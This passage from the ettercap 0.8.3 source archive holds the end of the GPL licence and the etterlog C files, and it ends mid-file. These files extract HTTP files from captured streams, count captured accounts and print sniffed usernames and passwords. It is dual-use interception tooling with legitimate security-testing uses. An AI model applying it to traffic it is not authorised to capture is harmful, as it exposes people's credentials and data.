ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. ettercap-0.8.3/utils/0000755000175000017500000000000013505247365014335 5ustar koeppeakoeppeaettercap-0.8.3/utils/etterlog/0000755000175000017500000000000013505247365016162 5ustar koeppeakoeppeaettercap-0.8.3/utils/etterlog/el_decode_http.c0000644000175000017500000001042413505247365021271 0ustar koeppeakoeppea/* etterlog -- extractor for http and proxy -- TCP 80, 8080 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include /* globals */ /* protos */ FUNC_EXTRACTOR(extractor_http); void http_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init http_init(void) { add_extractor(APP_LAYER_TCP, 80, extractor_http); add_extractor(APP_LAYER_TCP, 8080, extractor_http); } FUNC_EXTRACTOR(extractor_http) { char header[1024]; struct so_list *ret, *ret2; char host[MAX_ASCII_ADDR_LEN]; int len, fd; char* ptr; u_char *data; int client, server; /* get the ip address of the server where the file are coming from */ if (ntohs(STREAM->side1.so_curr->po.L4.dst) == 80) { ip_addr_ntoa(&STREAM->side1.so_curr->po.L3.dst, host); client = STREAM->side1.so_curr->side; } else { ip_addr_ntoa(&STREAM->side1.so_curr->po.L3.src, host); client = ~(STREAM->side1.so_curr->side); } server = ~client; /* * steal all the files found in the stream * we only extract files requested via the GET method */ do { ret = stream_search(STREAM, "GET ", 4, client); /* if found, read only from that direction */ if (ret != NULL) { stream_move(STREAM, 4, SEEK_CUR, client); memset(header, 0, sizeof(header)); stream_read(STREAM, (u_char*)header, 128, client); /* get the filename (until the first blank) */ if ( (ptr = strchr(header, ' ')) != NULL ) *ptr = '\0'; /* * the browser is requesting the root. * we save this in the index.html file */ if (!strcmp(header, "/")) strcpy(header, "/index.html"); /* open the file for writing */ fd = decode_to_file(host, "HTTP", header); ON_ERROR(fd, -1, "Cannot create file: %s", header); fprintf(stdout, "\n\tExtracting file: %s ", header); /* search the length of the file */ ret2 = stream_search(STREAM, "Content-Length: ", 16, server); /* we need content length, if not found, skip it */ if (ret2 == NULL) { close(fd); continue; } /* get the string until the \r */ stream_move(STREAM, 16, SEEK_CUR, server); stream_read(STREAM, (u_char*)header, 10, server); if ( (ptr = strchr(header, '\r')) != NULL ) *ptr = '\0'; len = atoi(header); fprintf(stdout, " %d bytes", len); /* search the end of the headers */ ret2 = stream_search(STREAM, "\r\n\r\n", 4, server); /* we need the end of the header, if not found, skip it */ if (ret2 == NULL) { close(fd); continue; } stream_move(STREAM, 4, SEEK_CUR, server); #if 0 memset(header, 0, sizeof(header)); stream_read(STREAM, header, 10, ret2->side); printf("header: [%s]\n", header); el_exit(0); #endif //continue; //printf(" move: %d", stream_move(STREAM, len, SEEK_CUR, ret2->side)); SAFE_CALLOC(data, len, sizeof(u_char)); stream_read(STREAM, data, len, server); write(fd, data, len); SAFE_FREE(data); close(fd); } } while (ret != NULL); return STREAM_DECODED; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterlog/el_analyze.c0000644000175000017500000001115113505247365020450 0ustar koeppeakoeppea/* etterlog -- analysis module Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include void analyze_packet(void); void analyze_info(void); /*******************************************/ void analyze(void) { switch(EL_GBL->hdr.type) { case LOG_PACKET: analyze_packet(); break; case LOG_INFO: analyze_info(); break; } } /* analyze a packet log file */ void analyze_packet(void) { struct log_header_packet pck; int ret, count = 0; int tot_size, pay_size = 0; u_char *buf; struct stat st; fprintf(stdout, "\nAnalyzing the log file (one dot every 100 packets)\n"); tot_size = sizeof(struct log_global_header); /* read the logfile */ LOOP { memset(&pck, 0, sizeof(struct log_header_packet)); ret = get_packet(&pck, &buf); /* on error exit the loop */ if (ret != E_SUCCESS) break; count++; tot_size += sizeof(struct log_header_packet) + pck.len; pay_size += pck.len; if (count % 100 == 0) { fprintf(stderr, "."); fflush(stderr); } SAFE_FREE(buf); } /* get the file stat */ ret = stat(EL_GBL->logfile, &st); ON_ERROR(ret, -1, "Cannot stat file"); fprintf(stdout, "\n\n"); fprintf(stdout, "Log file size (compressed) : %d\n", (int)st.st_size); fprintf(stdout, "Log file size (uncompressed) : %d\n", tot_size); fprintf(stdout, "Compression ratio : %.2f %%\n\n", 100 - ((float)st.st_size * 100 / (float)tot_size) ); fprintf(stdout, "Effective payload size : %d\n", pay_size); fprintf(stdout, "Wasted percentage : %.2f %%\n\n", 100 - ((float)pay_size * 100 / (float)tot_size) ); fprintf(stdout, "Number of packets : %d\n", count); if (count != 0) fprintf(stdout, "Average size per packet : %d\n", pay_size / count ); fprintf(stdout, "\n"); return; } /* * extract data form the file * and create the host list */ void create_hosts_list(void) { struct log_header_info inf; int ret; struct dissector_info buf; /* read the logfile */ LOOP { memset(&inf, 0, sizeof(struct log_header_info)); memset(&buf, 0, sizeof(struct dissector_info)); ret = get_info(&inf, &buf); /* on error exit the loop */ if (ret != E_SUCCESS) break; profile_add_info(&inf, &buf); SAFE_FREE(buf.user); SAFE_FREE(buf.pass); SAFE_FREE(buf.info); SAFE_FREE(buf.banner); } } /* * analyze an info log file */ void analyze_info(void) { struct host_profile *h; struct open_port *o; struct active_user *u; TAILQ_HEAD(, host_profile) *hosts_list_head = get_host_list_ptr(); int nhl = 0, nhnl = 0, ngw = 0; int nports = 0, nusers = 0, nhosts = 0; /* create the hosts' list */ create_hosts_list(); TAILQ_FOREACH(h, hosts_list_head, next) { if (h->type & FP_HOST_LOCAL) nhl++; if (h->type & FP_HOST_NONLOCAL) nhnl++; if (h->type & FP_GATEWAY) ngw++; nhosts++; LIST_FOREACH(o, &(h->open_ports_head), next) { nports++; LIST_FOREACH(u, &(o->users_list_head), next) { nusers++; } } } fprintf(stdout, "\n\n"); fprintf(stdout, "Number of hosts (total) : %d\n\n", nhosts); fprintf(stdout, "Number of local hosts : %d\n", nhl); fprintf(stdout, "Number of non local hosts : %d\n", nhnl); fprintf(stdout, "Number of gateway : %d\n\n", ngw); fprintf(stdout, "Number of discovered services : %d\n", nports); fprintf(stdout, "Number of accounts captured : %d\n\n", nusers); fprintf(stdout, "\n"); return; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterlog/el_log.c0000644000175000017500000002645613505247365017604 0ustar koeppeakoeppea/* etterlog -- read the logfile Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include void open_log(char *file); int get_header(struct log_global_header *hdr); int get_packet(struct log_header_packet *pck, u_char **buf); int get_info(struct log_header_info *inf, struct dissector_info *buf); static int put_header(gzFile fd, struct log_global_header *hdr); static int put_packet(gzFile fd, struct log_header_packet *pck, u_char *buf); static int put_info(gzFile fd, struct log_header_info *inf, struct dissector_info *buf); void concatenate(int argc, char **argv); static void dump_file(gzFile fd, struct log_global_header *hdr); /*******************************************/ /* * open the logfile, then drop the privs */ void open_log(char *file) { int zerr; EL_GBL_LOGFILE = strdup(file); EL_GBL_LOG_FD = gzopen(file, "rb"); if(EL_GBL_LOG_FD == Z_NULL) FATAL_ERROR("Cannot read the log file, please ensure you have enough permissions to read %s: error %s", file, gzerror(EL_GBL_LOG_FD, &zerr)); } /* * returns the global header */ int get_header(struct log_global_header *hdr) { int c; c = gzread(EL_GBL_LOG_FD, hdr, sizeof(struct log_global_header)); if (c != sizeof(struct log_global_header)) return -E_INVALID; /* convert to host order */ hdr->magic = ntohs(hdr->magic); if (hdr->magic != EC_LOG_MAGIC) return -E_INVALID; hdr->first_header = ntohs(hdr->first_header); gzseek(EL_GBL_LOG_FD, hdr->first_header, SEEK_SET); /* adjust the timestamp */ hdr->tv.tv_sec = ntohl(hdr->tv.tv_sec); hdr->tv.tv_usec = ntohl(hdr->tv.tv_usec); hdr->type = ntohl(hdr->type); return E_SUCCESS; } /* * store the header in a file */ static int put_header(gzFile fd, struct log_global_header *hdr) { int c; /* convert to network order */ hdr->magic = htons(hdr->magic); hdr->first_header = htons(hdr->first_header); hdr->tv.tv_sec = htonl(hdr->tv.tv_sec); hdr->tv.tv_usec = htonl(hdr->tv.tv_usec); hdr->type = htonl(hdr->type); c = gzwrite(fd, hdr, sizeof(struct log_global_header)); if (c != sizeof(struct log_global_header)) FATAL_ERROR("Cannot write output file"); /* convert to host order */ hdr->magic = ntohs(hdr->magic); hdr->first_header = ntohs(hdr->first_header); hdr->tv.tv_sec = ntohl(hdr->tv.tv_sec); hdr->tv.tv_usec = ntohl(hdr->tv.tv_usec); hdr->type = ntohl(hdr->type); return E_SUCCESS; } /* * read the header of a packet * and return the data in the buf */ int get_packet(struct log_header_packet *pck, u_char **buf) { int c; c = gzread(EL_GBL_LOG_FD, pck, sizeof(struct log_header_packet)); if (c != sizeof(struct log_header_packet)) return -E_INVALID; pck->len = ntohl(pck->len); /* adjust the timestamp */ pck->tv.tv_sec = ntohl(pck->tv.tv_sec); pck->tv.tv_usec = ntohl(pck->tv.tv_usec); /* allocate the memory for the buffer */ SAFE_CALLOC(*buf, pck->len, sizeof(u_char)); /* copy the data of the packet */ c = gzread(EL_GBL_LOG_FD, *buf, pck->len); if ((size_t)c != pck->len) return -E_INVALID; return E_SUCCESS; } /* * store a packet into a file */ static int put_packet(gzFile fd, struct log_header_packet *pck, u_char *buf) { int c; pck->len = htonl(pck->len); pck->tv.tv_sec = htonl(pck->tv.tv_sec); pck->tv.tv_usec = htonl(pck->tv.tv_usec); c = gzwrite(fd, pck, sizeof(struct log_header_packet)); if (c != sizeof(struct log_header_packet)) return -E_INVALID; pck->len = ntohl(pck->len); pck->tv.tv_sec = ntohl(pck->tv.tv_sec); pck->tv.tv_usec = ntohl(pck->tv.tv_usec); /* copy the data of the packet */ c = gzwrite(fd, buf, pck->len); if ((size_t)c != pck->len) return -E_INVALID; return E_SUCCESS; } /* * read the header for the info and * return the user, pass ecc in buf */ int get_info(struct log_header_info *inf, struct dissector_info *buf) { int c; /* get the whole header */ c = gzread(EL_GBL_LOG_FD, inf, sizeof(struct log_header_info)); /* truncated ? */ if (c != sizeof(struct log_header_info)) return -E_INVALID; /* adjust the variable lengths */ inf->var.user_len = ntohs(inf->var.user_len); inf->var.pass_len = ntohs(inf->var.pass_len); inf->var.info_len = ntohs(inf->var.info_len); inf->var.banner_len = ntohs(inf->var.banner_len); /* * get the dissectors info * * we can deal only with associated user and pass, * so there must be present all of them */ if (inf->var.user_len) { SAFE_CALLOC(buf->user, inf->var.user_len + 1, sizeof(char)); c = gzread(EL_GBL_LOG_FD, buf->user, inf->var.user_len); if (c != inf->var.user_len) return -E_INVALID; } if (inf->var.pass_len) { SAFE_CALLOC(buf->pass, inf->var.pass_len + 1, sizeof(char)); c = gzread(EL_GBL_LOG_FD, buf->pass, inf->var.pass_len); if (c != inf->var.pass_len) return -E_INVALID; } if (inf->var.info_len) { SAFE_CALLOC(buf->info, inf->var.info_len + 1, sizeof(char)); c = gzread(EL_GBL_LOG_FD, buf->info, inf->var.info_len); if (c != inf->var.info_len) return -E_INVALID; } if (inf->var.banner_len) { SAFE_CALLOC(buf->banner, inf->var.banner_len + 1, sizeof(char)); c = gzread(EL_GBL_LOG_FD, buf->banner, inf->var.banner_len); if (c != inf->var.banner_len) return -E_INVALID; } /* * sanity check for ip_addr struct */ switch (ntohs(inf->L3_addr.addr_type)) { case AF_INET: if (ntohs(inf->L3_addr.addr_len) != IP_ADDR_LEN) return -E_INVALID; break; case AF_INET6: if (ntohs(inf->L3_addr.addr_len) != IP6_ADDR_LEN) return -E_INVALID; break; default: return -E_INVALID; } /* if client IP address has been set otherwise skip */ if (!ip_addr_is_zero(&inf->client)) { switch (ntohs(inf->client.addr_type)) { case AF_INET: if (ntohs(inf->client.addr_len) != IP_ADDR_LEN) return -E_INVALID; break; case AF_INET6: if (ntohs(inf->client.addr_len) != IP6_ADDR_LEN) return -E_INVALID; break; default: return -E_INVALID; } } return E_SUCCESS; } /* * store a info struct into a file */ static int put_info(gzFile fd, struct log_header_info *inf, struct dissector_info *buf) { int c; /* adjust the variable lengths */ inf->var.user_len = htons(inf->var.user_len); inf->var.pass_len = htons(inf->var.pass_len); inf->var.info_len = htons(inf->var.info_len); inf->var.banner_len = htons(inf->var.banner_len); /* write the header */ c = gzwrite(fd, inf, sizeof(struct log_header_info)); if (c != sizeof(struct log_header_info)) return -E_INVALID; /* reconvert for internal use */ inf->var.user_len = ntohs(inf->var.user_len); inf->var.pass_len = ntohs(inf->var.pass_len); inf->var.info_len = ntohs(inf->var.info_len); inf->var.banner_len = ntohs(inf->var.banner_len); /* write the data */ if (inf->var.user_len) { c = gzwrite(fd, buf->user, inf->var.user_len); if (c != inf->var.user_len) return -E_INVALID; } if (inf->var.pass_len) { c = gzwrite(fd, buf->pass, inf->var.pass_len); if (c != inf->var.pass_len) return -E_INVALID; } if (inf->var.info_len) { c = gzwrite(fd, buf->info, inf->var.info_len); if (c != inf->var.info_len) return -E_INVALID; } if (inf->var.banner_len) { c = gzwrite(fd, buf->banner, inf->var.banner_len); if (c != inf->var.banner_len) return -E_INVALID; } return E_SUCCESS; } /* * concatenate two (or more) files into one single file */ void concatenate(int argc, char **argv) { int zerr; gzFile fd; struct log_global_header hdr, tmp; memset(&hdr, 0, sizeof(struct log_global_header)); /* open the output file for writing */ fd = gzopen(EL_GBL_LOGFILE, "wb"); ON_ERROR(fd, NULL, "%s", gzerror(fd, &zerr)); /* * use EL_GBL_LOG_FD here so the get_header function * will use this file */ EL_GBL_LOG_FD = gzopen(argv[argc], "rb"); ON_ERROR(EL_GBL_LOG_FD, NULL, "%s", gzerror(EL_GBL_LOG_FD, &zerr)); /* get the file header */ if (get_header(&hdr) != E_SUCCESS) FATAL_ERROR("Invalid log file (%s)", argv[argc]); /* write the header */ put_header(fd, &hdr); USER_MSG("Concatenating file [%s]", argv[argc]); /* copy the first file into the output */ dump_file(fd, &hdr); /* move the pointer to the next file */ argc++; /* cicle thru the file list */ while(argv[argc] != NULL) { EL_GBL_LOG_FD = gzopen(argv[argc], "rb"); ON_ERROR(EL_GBL_LOG_FD, NULL, "%s", gzerror(EL_GBL_LOG_FD, &zerr)); /* get the file header */ if (get_header(&tmp) != E_SUCCESS) FATAL_ERROR("Invalid log file (%s)", argv[argc]); /* check if the files are compatible */ if (hdr.type != tmp.type) FATAL_ERROR("Cannot concatenate different type of file"); USER_MSG("Concatenating file [%s]", argv[argc]); /* concatenate this file */ dump_file(fd, &tmp); gzclose(EL_GBL_LOG_FD); argc++; } gzclose(fd); USER_MSG("\nAll files concatenated into: %s\n\n", EL_GBL_LOGFILE); el_exit(0); } /* * dump the file into the fd */ static void dump_file(gzFile fd, struct log_global_header *hdr) { struct log_header_packet pck; struct log_header_info inf; struct dissector_info infbuf; u_char *pckbuf; int count = 0; /* loop until EOF */ LOOP { switch (hdr->type) { case LOG_INFO: if (get_info(&inf, &infbuf) != E_SUCCESS) { USER_MSG("\n"); return; } /* write the info */ put_info(fd, &inf, &infbuf); SAFE_FREE(infbuf.user); SAFE_FREE(infbuf.pass); SAFE_FREE(infbuf.info); SAFE_FREE(infbuf.banner); break; case LOG_PACKET: if (get_packet(&pck, &pckbuf) != E_SUCCESS) { USER_MSG("\n"); return; } /* write the data */ put_packet(fd, &pck, pckbuf); SAFE_FREE(pckbuf); break; default: FATAL_ERROR("Unknown log type"); break; } /* a dot every 10 packets */ if (count++ % 10 == 0) { USER_MSG("."); fflush(stdout); } } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterlog/el_display.c0000644000175000017500000002272013505247365020456 0ustar koeppeakoeppea/* etterlog -- display packets or infos Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include /* proto */ static void display_packet(void); static void display_info(void); static void display_headers(struct log_header_packet *pck); static int match_regex(struct host_profile *h); static void print_pass(struct host_profile *h); /*******************************************/ void display(void) { switch(EL_GBL->hdr.type) { case LOG_PACKET: display_packet(); break; case LOG_INFO: display_info(); break; } } /* display a packet log file */ static void display_packet(void) { struct log_header_packet pck; int ret; u_char *buf; u_char *tmp; int versus; /* read the logfile */ LOOP { ret = get_packet(&pck, &buf); /* on error exit the loop */ if (ret != E_SUCCESS) break; /* the packet should be compliant to the target specifications */ if (!is_target_pck(&pck)) { SAFE_FREE(buf); continue; } /* the packet should be compliant to the connection specifications */ if (!is_conn(&pck, &versus)) { SAFE_FREE(buf); continue; } /* if the regex does not match, the packet is not interesting */ if (EL_GBL_OPTIONS->regex && EL_GBL->regex && regexec(EL_GBL->regex, (const char*)buf, 0, NULL, 0) != 0) { SAFE_FREE(buf); continue; } /* * prepare the buffer, * the max length is hex_fomat * so use its length for the buffer */ SAFE_CALLOC(tmp, hex_len(pck.len), sizeof(u_char)); /* display the headers only if necessary */ if (!EL_GBL_OPTIONS->no_headers) display_headers(&pck); /* * format the packet with the function * set by the user */ ret = EL_GBL->format(buf, pck.len, tmp); /* the ANSI escape for the color */ if (EL_GBL_OPTIONS->color) { int color = 0; switch (versus) { case VERSUS_SOURCE: color = COL_GREEN; break; case VERSUS_DEST: color = COL_BLUE; break; } set_color(color); } /* sync stream/descriptor output and print the packet */ fflush(stdout); write(fileno(stdout), tmp, ret); if (EL_GBL_OPTIONS->color) reset_color(); SAFE_FREE(buf); SAFE_FREE(tmp); } if (!EL_GBL_OPTIONS->no_headers) fprintf(stdout, "\n\n"); return; } /* * display the packet headers */ static void display_headers(struct log_header_packet *pck) { char tmp1[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; char flags[8]; char *p = flags; char proto[5]; memset(flags, 0, sizeof(flags)); /* display the date. ec_ctime() has no newline at end. */ #if defined OS_DARWIN fprintf(stdout, "\n\n%s [%d]\n", ec_ctime(&pck->tv), pck->tv.tv_usec); #else fprintf(stdout, "\n\n%s [%lu]\n", ec_ctime(&pck->tv), pck->tv.tv_usec); #endif if (EL_GBL_OPTIONS->showmac) { /* display the mac addresses */ mac_addr_ntoa(pck->L2_src, tmp1); mac_addr_ntoa(pck->L2_dst, tmp2); fprintf(stdout, "%17s --> %17s\n", tmp1, tmp2); } /* calculate the flags */ if (pck->L4_flags & TH_SYN) *p++ = 'S'; if (pck->L4_flags & TH_FIN) *p++ = 'F'; if (pck->L4_flags & TH_RST) *p++ = 'R'; if (pck->L4_flags & TH_ACK) *p++ = 'A'; if (pck->L4_flags & TH_PSH) *p++ = 'P'; /* determine the proto */ switch(pck->L4_proto) { case NL_TYPE_TCP: strcpy(proto, "TCP"); break; case NL_TYPE_UDP: strcpy(proto, "UDP"); break; } /* display the ip addresses */ ip_addr_ntoa(&pck->L3_src, tmp1); ip_addr_ntoa(&pck->L3_dst, tmp2); fprintf(stdout, "%s %s:%d --> %s:%d | %s (%u)\n", proto, tmp1, ntohs(pck->L4_src), tmp2, ntohs(pck->L4_dst), flags, pck->len); } /* * compile the regex */ void set_display_regex(char *regex) { int err; char errbuf[100]; /* compile the regex */ err = regcomp(EL_GBL->regex, regex, REG_EXTENDED | REG_NOSUB | REG_ICASE ); if (err) { regerror(err, EL_GBL->regex, errbuf, sizeof(errbuf)); FATAL_ERROR("%s\n", errbuf); } } /* display an inf log file */ static void display_info(void) { struct host_profile *h; TAILQ_HEAD(, host_profile) *hosts_list_head = get_host_list_ptr(); /* create the hosts' list */ create_hosts_list(); /* don't load if the user is interested only in passwords... */ if (!EL_GBL_OPTIONS->passwords) { /* load the fingerprint database */ fingerprint_init(); /* load the manuf database */ manuf_init(); /* load the services names */ services_init(); } /* write the XML prolog */ if (EL_GBL_OPTIONS->xml) { fprintf(stdout, "\n\n"); fprintf(stdout, "\n", EC_VERSION, ec_ctime(NULL)); } else fprintf(stdout, "\n\n"); /* parse the list */ TAILQ_FOREACH(h, hosts_list_head, next) { /* respect the TARGET selection */ if (!is_target_info(h)) continue; /* we are searching one particular user */ if (find_user(h, EL_GBL->user) == -E_NOTFOUND) continue; /* if the regex was set, respect it */ if (!match_regex(h)) continue; /* skip the host respecting the options */ if (EL_GBL_OPTIONS->only_local && (h->type & FP_HOST_NONLOCAL)) continue; if (EL_GBL_OPTIONS->only_remote && (h->type & FP_HOST_LOCAL)) continue; /* set the color */ if (EL_GBL_OPTIONS->color) { if (h->type & FP_GATEWAY) set_color(COL_RED); else if (h->type & FP_HOST_LOCAL) set_color(COL_GREEN); else if (h->type & FP_HOST_NONLOCAL) set_color(COL_BLUE); } /* print the infos */ if (EL_GBL_OPTIONS->passwords) print_pass(h); else if (EL_GBL_OPTIONS->xml) print_host_xml(h); else print_host(h); /* reset the color */ if (EL_GBL_OPTIONS->color) reset_color(); } /* close the global tag */ if (EL_GBL_OPTIONS->xml) fprintf(stdout, "\n"); fprintf(stdout, "\n\n"); } /* * return 1 if h matches the regex */ static int match_regex(struct host_profile *h) { struct open_port *o; char os[OS_LEN+1]; if (!EL_GBL_OPTIONS->regex || !EL_GBL->regex) return 1; /* check the manufacturer */ if (regexec(EL_GBL->regex, manuf_search((const char*)h->L2_addr), 0, NULL, 0) == 0) return 1; /* check the OS */ fingerprint_search((const char*)h->fingerprint, os); if (regexec(EL_GBL->regex, os, 0, NULL, 0) == 0) return 1; /* check the open ports banners and service */ LIST_FOREACH(o, &(h->open_ports_head), next) { if (regexec(EL_GBL->regex, service_search(o->L4_addr, o->L4_proto), 0, NULL, 0) == 0) return 1; if (o->banner && regexec(EL_GBL->regex, o->banner, 0, NULL, 0) == 0) return 1; } return 0; } /* * print the ip and the account collected */ static void print_pass(struct host_profile *h) { struct open_port *o; struct active_user *u; char tmp[MAX_ASCII_ADDR_LEN]; /* walk the list */ LIST_FOREACH(o, &(h->open_ports_head), next) { LIST_FOREACH(u, &(o->users_list_head), next) { /* skip client not matching the filter */ if (!ip_addr_is_zero(&EL_GBL->client) && ip_addr_cmp(&EL_GBL->client, &u->client)) continue; fprintf(stdout, " %-15s ", ip_addr_ntoa(&h->L3_addr, tmp)); if (strcmp(h->hostname, "")) fprintf(stdout, "(%s)", h->hostname); /* print the client if requested */ if (EL_GBL_OPTIONS->showclient) fprintf(stdout, "(%s)", ip_addr_ntoa(&u->client, tmp)); fprintf(stdout, " %s %-5d %s USER: %s \tPASS: %s ", (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP" , ntohs(o->L4_addr), (u->failed) ? "*" : "", u->user, u->pass); if (u->info) fprintf(stdout, " INFO: %s\n\n", u->info); else fprintf(stdout, "\n\n"); } } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/utils/etterlog/el_main.c0000644000175000017500000001023513505247365017733 0ustar koeppeakoeppea/* etterlog -- log analyzer for ettercap log file Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #define EL_GBL_FREE(x) do{ if (x != NULL) { free(x); x = NULL; } }while(0) /* global options */ struct ec_globals *ec_gbls; struct el_globals *el_gbls; /*******************************************/ int main(int argc, char *argv[]) { int ret; libettercap_init(PROGRAM, EC_VERSION); select_text_interface(); libettercap_ui_init(); el_globals_alloc(); /* etterlog copyright */ USER_MSG("\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", PROGRAM, EC_VERSION, EC_COPYRIGHT, EC_AUTHORS); /* allocate the global target */ SAFE_CALLOC(EL_GBL_TARGET, 1, sizeof(struct target_env)); /* initialize to all target */ EL_GBL_TARGET->all_mac = 1; EL_GBL_TARGET->all_ip = 1; #ifdef WITH_IPV6 EL_GBL_TARGET->all_ip6 = 1; #endif EL_GBL_TARGET->all_port = 1; /* getopt related parsing... */ parse_options(argc, argv); /* get the global header */ ret = get_header(&EL_GBL->hdr); if (ret == -E_INVALID) FATAL_ERROR("Invalid log file"); USER_MSG("Log file version : %s\n", EL_GBL->hdr.version); /* display the date. ec_ctime() has no newline at end. */ #if defined OS_DARWIN USER_MSG("Timestamp : %s [%d]\n", ec_ctime(&EL_GBL->hdr.tv), EL_GBL->hdr.tv.tv_usec); #else USER_MSG("Timestamp : %s [%lu]\n", ec_ctime(&EL_GBL->hdr.tv), EL_GBL->hdr.tv.tv_usec); #endif USER_MSG("Type : %s\n\n", (EL_GBL->hdr.type == LOG_PACKET) ? "LOG_PACKET" : "LOG_INFO" ); /* analyze the logfile */ if (EL_GBL_OPTIONS->analyze) analyze(); /* rewind the log file and skip the global header */ gzrewind(EL_GBL_LOG_FD); get_header(&EL_GBL->hdr); /* create the connection table (respecting the filters) */ if (EL_GBL_OPTIONS->connections) conn_table_create(); /* display the connection table */ if (EL_GBL_OPTIONS->connections && !EL_GBL_OPTIONS->decode) conn_table_display(); /* extract files from the connections */ if (EL_GBL_OPTIONS->decode) conn_decode(); /* not interested in the content... only analysis */ if (EL_GBL_OPTIONS->analyze || EL_GBL_OPTIONS->connections) el_exit(0); /* display the content of the logfile */ display(); el_exit(0); } /* ANSI color escapes */ void set_color(int color) { /* windows does not like ansi colors... */ #ifndef OS_WINDOWS char str[8]; sprintf(str, "\033[%dm", color); fflush(stdout); write(fileno(stdout), str, strlen(str)); #endif } /* reset the color to default */ void reset_color(void) { /* windows does not like ansi colors... */ #ifndef OS_WINDOWS fflush(stdout); write(fileno(stdout), EC_COLOR_END, 4); #endif } void el_globals_alloc(void) { SAFE_CALLOC(el_gbls, 1, sizeof(struct el_globals)); SAFE_CALLOC(el_gbls->options, 1, sizeof(struct el_options)); SAFE_CALLOC(el_gbls->regex, 1, sizeof(regex_t)); SAFE_CALLOC(el_gbls->t, 1, sizeof(struct target_env)); return; } void el_globals_free(void) { SAFE_FREE(el_gbls->user); SAFE_FREE(el_gbls->logfile); SAFE_FREE(el_gbls->options); SAFE_FREE(el_gbls->regex); SAFE_FREE(el_gbls->t); SAFE_FREE(el_gbls); return; } void 